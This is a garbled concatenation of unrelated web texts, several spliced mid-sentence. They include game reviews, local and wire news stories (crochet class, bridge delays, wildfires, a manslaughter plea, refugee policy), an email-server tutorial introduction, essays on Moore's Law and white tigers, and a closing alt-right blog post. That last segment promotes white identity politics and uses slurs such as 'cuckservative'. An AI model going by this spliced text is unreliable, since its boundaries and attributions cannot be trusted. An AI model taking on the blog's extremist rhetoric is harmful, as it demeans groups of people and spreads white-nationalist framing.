8 warioware: snapped! (DSiware): as an entry in the warioware series the game would be fairly disappointing due to its limitations, chief of which is its short length (about 20 microgames, 5 of which require coordination with a second person) and the lack of any extras: you can easily breeze through the game in less than half an hour. the camera recognition, while enjoyable and novel, was a little iffy with two players, although solo it worked fine for me. despite the always enjoyable wacky warioware exterior, the game as a whole does have a tech demo feel, as many critics have noted. but a large part of the real enjoyment of the game is showing it off to other people, not just for the trademark warioware goofiness, but for the recap at the end of each stage that replays recorded footage of the player. in my case the combination of that enjoyment along with the appeal of warioware makes this an unregretted purchase, despite its limited gameplay and use, but for an introduction to the warioware series in general there are clearly better choices. game & wario (wii u) (critic score: 61, user score: 6.1): games(TM) (60): Well below the standards we’ve come to expect from Nintendo’s inventive, silly franchise. [Issue#137, p.123] ZTGD (60): Game & Wario is disappointing mainly because the heart of the series feels stripped out, and in its place is a collection of mostly uninspired minigames. I really wanted to see Nintendo take advantage of the Gamepad in unique ways, not just have me tilt to steer. Eurogamer Italy (60) Even though some games are funny, Game & Wario loses most of the appeal of its predecessors proposing just a bunch of “not-so-special” games.At 6-foot-2, 252 pounds, with blue gym shorts, a backwards cap, a Nike T-shirt and an bulky bandage around his left knee, former Kansas University linebacker Mike Rivera hardly looked the part of a crochet teacher at Hillcrest Elementary on Wednesday.
But give the man a couple of needles and some yarn, and the imposing member of the Miami Dolphins instantly transforms into a master crochet artist capable of banging out a stocking cap in a variety of styles and colors.
“My first hat took 15 hours to make,” said Rivera, between sessions with the 8- and 9-year-old students. “Now, I can make one in an hour.”
Rivera first picked up his new hobby during a recent trip to Guatemala with a friend. He spent a couple of weeks volunteering at a school in the Central American country and has since returned the favor in the states. His first trip to Hillcrest, for an after-school program run through the Boys and Girls Club of Lawrence, came a week ago, when he introduced the world of crochet to the 13 boys and girls who signed up for the voluntary class. He returned Wednesday to help them take their talents a step farther.
“I’d never heard of that thing,” said Louis Singman, 9, asked why he chose to sign up. “I just thought it would be cool to try it.”
Added Enoch Kalonda, 9, a native of Congo who has been in the U.S. for four years: “I knew how to do it a little bit, but I didn’t know how to make a hat. He taught me more than I thought I could learn.”
Back home in Africa, Kalonda’s parents routinely used crochet to make garments for friends and family.
Wednesday’s session, which included treats and drinks brought by Rivera and his mother, Judy, was nothing out of the ordinary for Rivera, a 2009 KU graduate and three-year starter. Throughout his career with the Jayhawks, Rivera was know for his participation in student-outreach programs. He was honored with the KU Community Service Award multiple times and, now that he has joined the professional ranks, he said he has found it even easier to contribute to society in a positive way.
“You just have more time,” he said. “In college, you’ve got a full class load and a football schedule. Right now, with the (NFL) lockout, we have time. And I always try to fill my time with activities. I’m sure my teammates would give me some flak for this, you know, a big football player doing crochet is ‘not cool,’ but it’s still fun for the kids.”
The children who attended Wednesday’s crochet class — they’ll return next Wednesday for another run — had no idea that Rivera was a former KU and current NFL athlete.
In fact, Rivera introduced himself only as “Michael,” a name that some of the students quickly transformed into “Michaelangelo” when they needed help.
How fitting.
The NFL’s ongoing labor dispute encouraged Rivera to return to Lawrence to work out. After signing with Chicago as an undrafted free agent in 2009, Rivera joined the Tennessee Titans organization and spent the ’09 season on the Titans’ practice squad.
He landed with Green Bay in 2010 and was on the Packers’ practice squad until the second-to-last week of the regular season, when he joined the Miami Dolphins. He spent the final week of last season on the Dolphins’ active roster and hopes to continue the steady climb when training camp rolls around this summer.
“Everything after college is just icing,” Rivera said. “I’m just gonna ride this as long as I can.”Totally Radical
Beat all Levels on Rad Mode 1.1%
Ultra Rare 1.85%
Ultra Rare
Professionalism
Unlock all Pro Challenges 1.8%
Ultra Rare 3.96%
Ultra Rare
Hit the Spot
Get a Score of 2M on a Spot 1.7%
Ultra Rare 3.99%
Ultra Rare
So Many Points
Land a 2M Point Combo in Career 2.4%
Ultra Rare 5.41%
Very Rare
Half Way There
Unlock all Amateur Challenges 2.7%
Ultra Rare 6.14%
Very Rare
Technical Master
Land 1 of every Trick 1.3%
Ultra Rare 2.26%
Ultra Rare
Explorer
Find the 5 Hidden Golden Skateboards 1.4%
Ultra Rare 2.96%
Ultra Rare
Land Lover
Achieve a total of 1000 Perfect Landings 8.5%
Very Rare 16.07%
Rare
Locked On
Achieve a total of 1000 Perfect Grinds 7.7%
Very Rare 14.92%
Rare
Make your Mark
Set a Score on 25 different Spots 3.0%
Ultra Rare 8.17%
Very Rare
Combododragon
Land a Combo of x25 or more 22.0%
Rare 38.19%
UncommonAll the "worst case scenarios" have come to pass on the 102nd Avenue bridge project — and it likely won't be open to motorists until Fall 2016.
City road construction manager Barry Belcourt on Wednesday told council crews hope to work through the winter to get the road opened sooner, but it would be too risky.
Businesses along 102nd Avenue near 124th Street said the city assured them work would continue through the winter. Fern Janzen, owner of Paddy's International Cheese Market, said she doesn't think she'll be able to make it until September.
"I'm terribly disappointed," Janzen said. "I don't know how many of us can last all that much longer."
A city spokesperson said the transportation department only promised to investigate the option of winter construction. But Belcourt said that would involve warming the bridge with a large tent-like structure, which would have meant the strong possibility of snow and ice weighing down the tent or wind blowing it onto Groat Road.
"Groat Road is so narrow, if anything... fell off … it's probably going to cause you to veer and cause a car pile-up," he said.
That means the bridge will likely open in September 2016, depending on the weather.
The next major step in construction involves pouring concrete, which requires three weeks of plus-five temperatures. The city's contractor now plans to start pouring as soon as the spring thaw begins.
"Let's just hope for a warm spring," Coun. Bev Esslinger said.
Contractor covering cost of delays
In the meantime, the contractor will pay $11,500 in penalties starting from October 2, 2015 until the project is ready for traffic.
The project was delayed by a year after one of the subcontractors failed to brace the bridge girders properly in March, causing the girders to buckle.
Belcourt said the only good news they've had since then is that the girders could be repaired rather than replaced. Otherwise, the project would fall further behind.
The fines paid by the contractor will be used to cover the cost of delays, including extra engineering work to verify the safety of the girders.
Coun. Scott McKeen asked if there would be compensation for businesses suffering from the road closures, but the answer was no.
Instead, the city will look for ways to encourage people to shop in the area. Mayor Don Iveson floated the idea of a cash mob to drive people to local shops.
"We're really going to have to step up our game to support these events and drive traffic."
Fern Janzen, owner of Patty's International Cheese Market on 102nd Avenue, said the city assured her crews would work to finish the bridge during the winter. She's not sure if her business can survive until September. (CBC)
Janzen said small local businesses cannot handle the extended road closure plaguing the area.
"We've gone through the anger and the rage and the disbelief. Now it's like, 'What more can we do?' "
Area businesses can apply to pay less tax as compensation for the difficulties they've experienced since the road closed. The decision to lower their taxes is up to city council.Install Your Own Private E-mail Server in the Cloud
For a Gmail alternative, try FastMail. Digital Ocean’s $5/mo. fast SSD servers make a great choice for your private e-mail server.
Background & Motivations
The concept of privacy is rapidly under threat as technology advances – it’s clearly a time of great cultural change and policy shifts. Living in Seattle, authorities can track me via cell phone, automated license plate reader, bus pass, and even the transmitter in my drivers license. And, if a warrant is issued for my credit card, email, Internet or Car2go activity, then my life becomes an open book. I know a little about all this – I helped nab Wired writer Evan Ratliff in its 2009 Vanish contest.
The NSA revelations this week make it clear that our privacy is not just tenuous, it’s imaginary at this point. The best writing I’ve seen to make sense of this story is by Slate’s Manjoo: “…now, after it has just proven itself so inept at handling its own information, the [NSA] still wants us to believe that it can securely hold on to all of our data”. It can’t. And that’s just one more reason this kind of government power is a terrible idea. Another reason is that the really bad people are smart enough to avoid mass surveillance like PRISM. Wonkblog’s description of the difference between authoritarian surveillance states and democratic ones is also excellent.
But this doesn’t mean that we need to roll over and give Google and the government ready access to our email.
I’ve been slowly working on this tutorial for some time but last week’s disclosures of the NSA’s domestic spying led me to complete it now. For some time I’ve had growing concerns of our dependence on Google and Facebook and the increasing commodification of our personal information for profit. Last year’s Petraeus affair made the power of the government’s access to GMail more obvious and I quit using Facebook in January. The shutdown announcement for Google Reader, stories of being cut off from GMail without notice and Google technical outages also motivated me to consider other options, for privacy and redundancy.
While I’m not entirely surprised by the PRISM disclosure, I am disgusted by the U.S. government’s wholesale violation of Americans’ Fourth Amendment Right to privacy in the electronic age and President Obama’s heightened attacks on whistleblowers. I’m also dismayed by what I expect will turn out to be Clinton-esque lies by Google and Facebook about their “lack of” involvement in PRISM. In my view, Edward Snowden is a stronger protector of the Bill of Rights than President Barack Obama. I especially admire his courage in light of the torture of Bradley Manning. I refuse to adjust to the new normal of the authoritarian surveillance state.
Related Links
You may also be interested in:
A Tutorial to Self-Host Your Private E-mail Server in the Cloud
This tutorial provides step by step instructions for installing an open source email server – a path away from GMail which reduces your reliance on Google and at least makes it a bit harder for your communications to be swept up in broader government surveillance such as PRISM.
If you’re non-technical and just want a high quality GMail alternative, check out FastMail. The company says the privacy of its U.S.-based servers are protected by Australian law and less subject to U.S. snooping (more further below).
A former colleague, Allen Gunn, once said, “If you’re not paying for the product, you are the product.” Currently, Facebook and Google treat us this way, studying our most intimate relationships and packaging us up to advertisers. In addition to avoiding mass surveillance, this tutorial is also aimed at helping you avoid being their product – or at least being a less valuable product.
I’ve written before that email is one of the most vital, least innovated technology applications (see Twelve Gmail Ideas to Revolutionize Email Again and SimplifyEmail) of the past twenty years. I’m hopeful that if more technologists adopt leading open source email technology, more of them will contribute their time and money towards innovating this platform. I’m also encouraged by the launch of the Mailbox app and expect it will soon be compatible with iRedMail (Sanebox provides a similar service on the web).
Specifically, this tutorial describes installing a self-hosted, open source email server, iRedMail (demo) with Roundcube web mail access (demo) and Dovecot IMAP support in the Amazon AWS cloud. It’s not for the faint of heart – but it is perfect for technologists interested in exploring new ground. It’s also not free – running your own email properly can cost from $7 to $15 monthly or more, depending on your configuration – but for many of you, this will be worth it (note: Amazon offers a free year of AWS usage for new customers.) If you prefer, you can pay $99 to iRedMail and they’ll install it on your Linux server of choice.
This tutorial also addresses how to make sure your email is delivered and free from spam, although the solutions I describe for this are also not free – I am using Mailgun; Amazon’s SES is a less well supported, less expensive option.
The iRedMail configuration can also be used as a redundant backup for your GMail accounts, if that is more of a concern to you than privacy. I also discuss ways for using vanity domain-based email addressing to increase anonymity with everyday websites.
I haven’t and won’t fully move away from GMail and Google Drive – especially for work, but I have been using iRedMail successfully for personal email for several months and appreciate the independence of it.
Amazon’s Cloud Doesn’t Guarantee Privacy Either
I have no illusions that self-hosting your email will keep the government from reading it if it wants to – ( Amazon recently received a $600 million contract to run the CIA’s cloud operations and my use of Mailgun opens up another point of surveillance), but it will make it slightly more difficult and encourage open source innovators to move platforms towards a more private, more secure world. Furthermore, you can use the instructions here to run your email on any Linux system or cloud (e.g. RackSpace Linode ) – you don’t have to use Amazon.
Self-hosting your email is a complicated undertaking. Completely securing your email is even more challenging. You may actually be creating more headaches and risks for yourself by moving away from a professional service provider e.g. managing reliability, fending off hackers. This tutorial is oriented towards taking you out of PRISM’s immediate sights – but you’ll have to do more work to be completely secure. Full disclaimer: I’m glad to take responsibility for your success but none for your failure. Installing your own e-mail is tiny act of resistance against the surveillance state, but is not a trivial act.
FastMail: A GMail Alternative For Non-Technical Folks
If you aren’t technical but simply want to move your email off of Google, check out FastMail*. It’s a solid email hosting service provided by the folks who make Opera. They responded quickly to my query regarding PRISM: “Opera Software Australia Pty Ltd is a company incorporated in Australia with Australian employees on Australian soil. The servers we have are based in the US, but owned by the Australian company. No person in the US has login access to the servers. Based on interpretation of the law that we’ve received, we’re subject to Australian telecommunications laws and Australian privacy laws. These laws specifically forbid us from releasing any electronic communications or data without an appropriate Australian warrant.” While this is no guarantee of privacy, it’s more likely that you’d be given notice before your email is handed over to authorities. Full disclosure, I am signed up for the FastMail referral partner program and will receive a tiny commission with any new sign ups from this tutorial. Read my disclosures.
A colleague also suggests Norwegian Runbox.com for good privacy policies, though their web interface is not as smooth as FastMail.
Initial Conclusions
Writing this tutorial has demonstrated to me that securing the bulk of your email from government snooping beyond the per-message level is a task whose complexity far exceeds the capability of the average person, perhaps even the average technologist. For this reason alone, the fact that maintaining your privacy in the digital age is so difficult, is one reason that the surveillance state should be illegal. The more impossible it becomes for the average person to secure their digital privacy, the more seriously the courts should return to backing the intent of the Fourth Amendment. Conversely, it’s quite easy for really bad people to encrypt their most private communications.
Getting Started
Get more information on pricing options here. Ready to sign up for AWS? Already have an account? Please feel free to post corrections, questions or comments below. You can also reach me on Twitter @reifman or email me directly. If you like this tutorial, please share it on Twitter.
Continue reading on about estimating costs for Amazon AWSParts of the idyllic suburb of Santa Rosa, California, were engulfed in flames on Monday as wildfires ravaged pieces of Northern California's wine country.
More than a dozen fires, whipped by powerful winds, blew through Napa and Sonoma valleys, known for their vineyards and wineries. The blaze torched at least 3,500 homes, businesses, and other structures. The situation is being called one of the worst firestorms in state history.
Santa Rosa was among the cities hit the hardest. The neighborhood of Coffey Park — a cluster of single-family homes two miles outside the downtown area — has largely turned to smoke and ash. These before-and-after images show the scale of the devastation.
Here's what Coffey Park looks like on Google Earth.
Google Earth
By late Monday, Coffey Park was unrecognizable.
An aerial photo of the devastation left by the North Bay wildfires north of San Francisco on Monday. California Highway Patrol/Golden Gate Division via Reuters
The San Francisco Chronicle reported on Monday that "almost the entire subdivision of single-family homes, built in the 1980s, was gone." About 8,000 people lived in Coffey Park and a neighboring subdivision.
The extent of the damage in the Greater Santa Rosa area is unknown.
An estimated 50,000 people have evacuated the California counties affected by wildfires, and the more than two dozen emergency shelters in Sonoma County, which includes Santa Rosa, are filling up.The job ladder over the business cycle
John Haltiwanger, Henry Hyatt, Erika McEntarfer
People tend to build their careers through job-hopping. This column adds to our growing understanding of how these job-to-job flows translate into enhanced productivity and earnings gains. Using new data, an analysis of the nature and extent of these flows by firm size and firm wages over the cycle shows that, during labour market downturns, workers tend to stay for longer on lower-paying, less productive rungs of the job ladder.
Workers often build their careers through job-hopping. Over time, they tend to move toward higher paying jobs that last longer (Topel and Ward 1992). These career paths are facilitated by job-to-job flows: |
well for us.”
When Page takes meetings with Google’s employees, he relentlessly badgers them for not proposing more ambitious ideas.
Much worse than failure is failing to think big.
Earlier, Steve Jobs of Apple had a similar conundrum when releasing the Macintosh. The problem was that in 1984, technology was not ready for the computer his team had designed. To provide a satisfactory user experience, the Macintosh required at least a megabyte of internal memory, a hard disk drive, and a processor several times speedier than the Motorola 68000 chip that drove the original. Jobs knew that Moore’s Law would provide help soon, and wanted to sell the Macintosh initially priced at a money-losing $2000 to grab market share. But his bosses at Apple did not understand that setting a low price would only mean losses temporarily — the company would soon be paying less for much more powerful chips. Indeed, in a few years the Macintosh had all the power and storage it needed — but had lost the market momentum to Microsoft.
Ray Kurzweil, the great inventor and artificial intelligence pioneer now at Google, has a theory about those who are best suited to create groundbreaking products.
The common wisdom, he says, is that one cannot predict the future. Kurzweil insists that, because of Moore’s Law and other yardsticks of improvement, you can predict the future.
Maybe not enough to tell if a specific idea will succeed but certainly well enough to understand what resources might be available in a few years. “The world will be a very different place by the time you finish a project,” he told me in an interview a couple of years back.
The problem, explains Kurzweil, is that so few people have internalized that reality. Our brains haven’t yet evolved in synch with the reality that Moore identified. “Hard-wired in our brain are linear expectations, because that worked very well a thousand years ago, tracking an animal in the wild,” he says. “Some people, though, can readily accept this exponential perspective when you show them the evidence.” The other element, he adds, is the courage required to act on that evidence. Accepting Moore’s Law means understanding that what was once impossible is now within our grasp — and leads to ideas that may seem on first blush outlandish. So courage is required to resist that ridicule that often comes from proposing such schemes.
For the past few years, critics both in and out of Silicon Valley have been griping about what I call the “Jetson Gap.” The critique is embodied in venture capitalist Peter Thiel’s charge, “We were promised flying cars and instead what we got was 140 characters.” But flying cars are rather tame compared to the fantastic inventions we now use every day: a search engine that answers our most challenging questions in less than a second; a network of a billion people sharing personal news and pointers to news and gossip; and a palmtop computer that among other things can beam live video to the world and have a conversation with you.
Those who understood Moore’s Law had the fortitude to make those advances. And more people are catching on. A generation raised on Google thinking is now working on new inventions, new systems, new business plans. Businesses in virtually every sector are being challenged — and in some cases shut down — by young entrepreneurs applying Moore’s Law. (Call it the Uberization of everything.) It’s quite probable that on someone’s drawing board right now is a project that will change our lives and earn billions — but is a funding challenge because the pitch sounds, well, crazy.
But as Page told me in 2102: “If you’re not doing some things that are crazy, you’re doing the wrong thing,”
Moore’s Law guarantees it.
This article originally appeared in the Winter 2015 edition of Core, a Computer History Museum publication. The issue is a special edition commemorating the 50th anniversary of Moore’s Law.
Notebook photo copyright Douglas Fairbairn Photography, courtesy of Computer History Museum. Moore photo courtesy of Intel.
Follow Backchannel: Twitter | FacebookDesigned by the talented Igor Chak, the bike above is a modern redesign of the iconic though little known (outside of Russia) 1929 IZH-1 motorcycle. The concept uses an innovative 60kw brushless electric motor built into the rear wheel hub to provide a hybrid final drive and uses lithium-sulfur batteries. Interestingly, lithium-sulphur batteries are lighter, have a higher energy density than lithium-ion and are cheaper to produce due to the relatively inexpensive nature of sulphur.
The IZH stands for Izhevsk Mechanical Works, a company most widely known for the production of the timeless Kalashnikov Assault Rifle (the AK-47). IZH also produced small cars and a number of motorcycles, hence Igor Chak’s decision to resurrect the motorcycle badge with the hybrid concept.
The bike features a number of fascinating technological innovations beyond the hybrid drive train, it has dual airbags (see picture below) a front crumple zone, ultra light weight plastic body panels and a wiring loom built into the frame. A unique proximity radar system is capable of automatically braking the bike if the car in front slows or stops unexpectedly, Chak has also integrated a front facing camera with night vision and augmented reality functionality. In short, this bike is a fast forward, showing us the vehicle technology we’ll be interacting with in 5-15 years time.
The chance of IZH picking up this concept and putting it into production is rather minimal, however Chak has shown extraordinary and remarkably forward thinking design talent. We can only hope that KTM, Ducati, Aprilla, BMW or some other large manufacturer picks up the concept and runs with it, at the very least it would be great to see certain elements of the design make it into production.
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Via BikeExif and Igor Chakby Sharyn Beach
This week Advocacy for Animals is pleased to publish this article by Sharyn Beach, a librarian, writer, and Big Cat Rescue volunteer, on a common but misguided notion of conservation and its tragic consequences for the lives of white tigers. (For more information about Big Cat Rescue, see Advocacy‘s articles Big Cat Rescue and Big Cat Bailout.)
Conservation?
Conservation. It is a word that we hear and repeat often. Ubiquitous in the media, it often conjures up a warm feeling, but as a concept conservation is largely misunderstood. Most of us view it solely in terms of individual species: if the number of animals of a certain species is sufficiently great, particularly if it is a species that we happen to like or find charismatic, “conservation” has been achieved, and we may check it off our collective to-do list. Upon closer inspection, though, we see that this conclusion is fundamentally flawed and is not only not preventing endangerment and extinction but is often leaving a trail of suffering in its wake.
The basic problem is that this limited view of conservation fails to consider the big picture—namely, the habitat in which the species that we are trying to save from extinction lives, on which it depends for its survival, and in which each animal makes a unique and significant contribution. It fails to consider the complex interrelationships between species and living systems and lulls us into believing that, as long as we have enough animals living in cages, we need do nothing about the destruction of the places they once called home; nor need we consider how certain animals do or do not fit into those places.
Perhaps no other single species embodies the conservation issue more than the tiger. Sleek and graceful, powerful and exotic, the tiger is the very definition of “charismatic mega fauna,” yet their numbers in the wild have dropped more than 95 percent in just 100 years. We respond intensely to the bold orange-and-black felines, and sometimes even more so to the almost mystical white tiger. Their ghostly white appearance and searing blue eyes are difficult to ignore. Because we are fascinated with things we consider to be rare—like gold—we value the white tiger for its rarity, and find a ready rationalization for perpetuating its existence by simply engaging one, perhaps now meaningless, word: conservation. If orange-and-black tigers are facing such a gloomy future in the wild, then, we conclude, surely the rare white tiger is in the most trouble: it could be the “poster child” for the wreckage that the reckless attitudes of human beings have left in what we used to call wild places.
But if there is any issue for which the white tiger is a poster child, it is our faulty understanding of conservation. The headlines are all too familiar: this zoo or that performer is breeding white tigers to save them from extinction and restore them to their native habitats. The media and the public adore such stories, but the heartwarming and short-lived nature of today’s news belies the real story that will surface for the white tiger cubs tomorrow. The truth is difficult for many people to accept. White tigers are not a species and do not have a native habitat. Tigers do not inhabit any section of the globe in which it would be advantageous for their survival to be white.
A Question of Biology
What we call the “royal” white tiger is in fact a genetic anomaly, caused by a double recessive gene occurring so rarely in nature that experts estimate that only one in every 10,000 tigers born in the wild is white. This anomaly, called “leucism,” prevents the pigment from coloring the skin and fur and, more importantly, robs the animal of a main tool for survival—camouflage. Without proper coloring, the ambush technique upon which tigers depend for catching food is seriously compromised. If anyone were foolish enough to attempt to release a white tiger into any habitat that tigers normally occupy, there is a good chance it would starve to death. Dr. Dan Laughlin, an international consultant on the care of zoological animals, stated it well in “The White Tiger Fraud,” an article written for the Web site of Big Cat Rescue: “when a deleterious recessive genetic mutation randomly occurs that is disadvantageous for the survival of the animal, such as white color in a tropical jungle environment, the animal does not survive to pass on that genetic mutation or disadvantageous characteristic to its offspring” (italics added). In other words, cruel as it may sound, nature does not provide a place for the white tiger.
If nature is designed to prevent the survival of genetic mutations that are a danger to the survival of an entire species, then why do we see white tigers in zoos and circuses across the United States? The answer is simple: they are produced by inbreeding. In an essay published on the Web site of Save the Tiger Fund, Ron Tilson, conservation director of the Minnesota Zoo, writes: “to produce white tigers or any other phenotypic curiosity, directors of zoos and facilities must continuously inbreed, father to daughter, to granddaughter, and so on.” According to Laughlin, in addition to the now famous and severely inbred line of white Bengal tigers that can be traced back to Mohan, a white tiger taken as a cub out of the wild in 1951 and bred back to his daughter and grand-daughters, “a second and separate origin of the white tiger … occurred spontaneously in two separate private collections in [the United States], when both owners inbred brothers to sisters.” Experts agree that genetic diversity is vital to the health of both individuals and entire populations of species. The most critically endangered felines, such as the South China tiger and the Amur leopard, are considered to be functionally extinct by some experts because with numbers as low as 20 or 30, inbreeding is inevitable. Yet in the case of the white tiger, the breeding of mothers to sons and fathers to daughters is commonplace. And there is a price to be paid for it.
White tigers endure a host of health problems about which the public is largely unaware, including immune system deficiencies that cause many to live miserable and short lives, scoliosis of the spine, hip dysplasia, neurological disorders, cleft palates, and protruding, bulging eyes. Many are stillborn and many more turn out to be too deformed to display. Among the ones that look pretty, according to some tiger trainers, only one in 30 will consistently perform.
At this point someone must face the question rarely asked by the reporters who happily recounted the birth of the white-tiger cubs: what now? What happens to the 29 out of 30 white tigers that were too dull and sick to perform? We know that they could not have been, and will never be, released into the wild. The lucky ones will find permanent homes in accredited sanctuaries, but the majority will either be killed or sold to traveling zoos, circuses, and wildlife centers, living lives in quarters that are often cramped, filthy, and rarely inspected.
There is yet another side to this sad story. What becomes of the orange-and-black cubs (by far the majority) born to parents who were specifically paired to render the desirable white coloring? Their fate will most likely include becoming victims of canned hunts, being sold into the exotic pet trade to live out their lives as breeding animals, or being killed and dismembered, their parts shipped to markets in Asia (see the Advocacy for Animals article Fighting for Tigers). Virtually none of them will join their wild counterparts for the purpose of repopulating their severely dwindling numbers. They will never see the wild lands from which their forebears were taken.
Taking Responsibility
Meanwhile, healthy, wild tigers, able to engage in the activities for which tigers were designed, disappear at alarming rates. Just 100 years ago, there were approximately 100,000 tigers living in the wild; some experts estimate that fewer than 3,500 individuals roam the forests of our world today. Three subspecies of tigers are gone forever, and the South China tiger is well on its way to joining their ranks.
If the relentless breeding of white tigers has nothing to do with conservation, and the resulting animals are sick and doomed to life in a cage, then why do people continue to breed them? We do not have to look far to find the answer. The trade in white tigers is lucrative. White tiger cubs have fetched as much as $60,000 a piece. According to Tilson, “white tigers are an aberration artificially bred and proliferated by a few zoos, private breeders, and circus folks, who do this for economic rather than conservation reasons.” Countless thousands of dollars pass through the hands of those who trade these animals like a commodity—countless thousands that do nothing to stop the poaching of wild tigers, do nothing to stave off the destruction of wild tiger habitats, and serve only to keep dignified creatures behind bars. Do we really value genetic mutations more than the habitat in which healthy wild tigers live and thrive?
Laughlin believes that “the genealogical misrepresentation, repeated inbreeding, exhibition and sale … of white tigers … initiated the greatest conservation deception of the American public in history.” The insidiousness of this deception is that the heartwarming stories of individual cubs being born again and again creates the illusion that we are doing something. It creates the illusion that the so-called experts are solving the problems that we create with our own complacency.
It is time to face the issue squarely. There can be no conservation of species without conservation of habitats, and there can be no conservation of habitats without conservation of entire ecosystems; therefore, we are accountable for how our actions affect those ecosystems, in every choice that we make. Conservation. It is not about the white tiger. It is about us.
Will our fascination with tigers give them back the dignified, free life that they had earned by surviving every hardship nature threw at them before we came along? Or will we be satisfied that we have done our job by having enough of them living in cages, performing tricks, and dazzling us with genetic deformities we would never dream of perpetuating in humans? If we choose the second option, then there is one more reality that we must be willing to accept. If we pull animals that we like out of the sinking ship that is their destroyed habitat, put them in cages, and call it a day, every single species that we do not find charismatic goes down with that ship. And with them go clues that could unlock the mysteries of the natural world—along with answers to questions that we perhaps no longer deem fundamental, because we have so thoroughly removed ourselves from that world. It begs one of those fundamental questions: if we can’t let other creatures assume their own roles in the broader ecosystem, how can we assume ours?
—Sharyn Beach
SaveBy Steve Gorman
LOS ANGELES (Reuters) - The wife of a small-town Southern California mayor shot dead during a domestic dispute in their home two years ago pleaded guilty on Wednesday to voluntary manslaughter in his slaying, the Los Angeles County District Attorney's Office said.
Under terms of the her plea deal with prosecutors, Lyvette Crespo, 45, is expected to be sentenced to 90 days in the county jail, five years of formal probation and 500 hours of community service, the D.A. said in a statement.
Her punishment is also to include an anger management course, prosecutors said. Sentencing is set for Jan. 5. If the judge decides to impose a harsher penalty, Crespo will have an opportunity to change her plea.
If convicted at trial, Crespo could face up to 21 years in prison.
She was accused of fatally shooting her husband, Daniel Crespo, 45, then mayor of the Los Angeles suburb of Bell Gardens, three times in the chest during a heated quarrel on Sept. 30, 2014, inside their condominium.
According to a police account of the incident, the couple's then 19-year-old son, Daniel Jr., intervened in the argument, leading to a physical confrontation between father and son, which prompted his mother to grab a pistol and open fire on her husband. He was pronounced dead at a nearby hospital.
The son told emergency dispatchers his mother had acted in self-defense, according to a recording of a 911 call made just after the shooting.
Lyvette Crespo's lawyer, Eber Bayona, has said his client, a stay-at-home mother, had been the victim of domestic violence at the hands of her husband for many years. And an attorney for the couple's two grown children said both the son and daughter stood behind their mother.
A biography of the mayor online at the time of his death said he was a native of the Brooklyn borough of New York City and described the couple as having been high school sweethearts who married in 1986.
Besides serving as mayor of Bell Gardens, a small municipality southeast of Los Angeles of about 45,000 residents, Daniel Crespo had worked as a county probation officer for more than 20 years.
(Reporting by Steve Gorman; Editing by Tom Hogue)The prime minister is understood to be seriously considering plans to welcome 3,000 unaccompanied refugee children to the UK within the next few weeks.
It comes as the development secretary Justine Greening confirmed the government is looking at what more it can do to help children "across the coming days and weeks".
David Cameron is thought to be looking at proposals put together by charities including Save the Children to admit thousands of children who have arrived in Europe without their parents.
It would be in addition to the 20,000 migrants the UK has already promised to welcome to the country, largely from camps in Lebanon and Jordan.
The prime minister has been pressed repeatedly by MPs in the House of Commons to do more to help children who have arrived in Europe without adult supervision.
Eric Pickles, the former communities secretary, also spoke of his "personal support" for the plans during a Sky News interview.
It comes as Jeremy Corbyn, the Labour leader, visited the notorious Jungle refugee camp in Calais on Saturday.
Photo: Getty Images
Speaking after his visit he called on the government to do more to register refugees from Europe as well as countries closer to Syria.
He said: "We have to do more. As a matter of urgency, David Cameron should act to give refuge to unaccompanied refugee children now in Europe – as we did with Jewish Kindertransport children escaping from Nazi tyranny in the 1930s.
"And the government must provide the resources needed for those areas accepting refugees – including in housing and education – rather than dumping them in some of Britain’s poorest communities."
Photo: parliamentlive.tv
Speaking on Sky News Justine Greening, the development secretary, hinted that the plans could soon be adopted.
She said: "No country in Europe has done more to help Syrian refugees, the UK has been there since day one.
"We are looking at whether we can do more in relation to... unaccompanied children... children have always been, from day one, at the heart of our response in the region... we've absolutely put children at the centre of our work and we will continue to look at how we can do that.
"We'll continue to look at how we can do that across the coming days and weeks."
Liberal Democrat leader Tim Farron has been on of the most vocal supporters of the idea to welcome more children to the UK.
He said: "Those who have made it to European shores now face cold winters, harsh conditions and are vulnerable to traffickers. We must open our hearts to those in need.”Hillary Clinton is planning to directly attack Trump over the Alt-Right in a speech in Nevada on Thursday:
“Democratic presidential nominee Hillary Clinton on Thursday plans to deliver a speech on the connection between Republican Donald Trump’s campaign and the “disturbing ‘alt-right’ political philosophy,” a Clinton aide said. The address, planned for Reno, Nev., follows a report this past weekend in The Washington Post that the so-called alt-right has been heartened by Trump’s candidacy, seeing recent moves by the candidate as consistent with the alt-right’s goal of maximizing the white vote in November. …”
Reality check.
It’s true that I have been enjoying the recent Dave Weigel stories in The Washington Post on the Alt-Right. I’m happy that the Alt-Right has become more visible thanks to Trump’s campaign. But, seriously, the notion that we have “taken over” the Republican Party is a ludicrous media manufactured meme.
I mean … it would certainly be nice to be reveling in the fame, fortune, and power of operating completely in the mainstream like Hillary Clinton does, where the Clinton Foundation has operated as a vast pay-for-play scheme that has made her into a multimillionaire, but nothing has changed on my end. I’m still sitting here on this shitty laptop writing all this pro bono because I believe so strongly in our cause.
It’s true that something has fundamentally changed in the mainstream. Since it is my job is to tell you the truth, I will tell you that what has changed is that Trump has overthrown the Republican establishment and Conservatism, Inc. – which was smashed in the primaries when its forces went to war with him – has lost its traditional power to police and neuter the Right. We haven’t taken over the Republican Party so much as we have escaped from the mainstream imposed quarantine on our ideas.
Whose fault is that? Trump was nothing more than the storm that came along and blew away the rotten structure. Conservatism, Inc. dug its own grave on immigration, foreign policy, and trade. It lost the culture wars because it was never really serious about fighting them. It promised the world to its base and never delivered anything but defeat and misery. It went along with non-White identity politics – embracing affirmative action and promoting this or that colored in order to appeal to this or that racial bloc – while condemning White identity politics as beyond the pale. It ran ¡Jeb! as the donor class candidate with a $100 million dollar war chest in an effort to openly buy the Republican nomination.
If that weren’t bad enough for them, the base no longer believes in their ideas. The base doesn’t want the Paul Ryan-Ayn Rand economic agenda. More than anything else, I think their most damaging move was who they selected as their messengers. At the end of its life, Conservatism, Inc. was full of nothing more than effete grifters and smug DC social climbers who wanted to be seen as “respectable” by their leftist peers. I watch these people every day snarking and counter-signaling in their Twitter circle jerk. They are the equivalent of the eunuch class which has constipated degenerate courts throughout history.
Eventually, the class divide between the Republican base and the cuckservative elite – the ponces and goofballs who you can see parading around Northern Virginia – ballooned into an unbridgeable chasm. The Republican signaling structure broke down. They would go on television and “signal” their preferred candidate – usually, a show like Real Time With Bill Maher or Chris Hayes on MSNBC – and the base in a state like Alabama would receive the signal and vote for the candidate they were trashing.
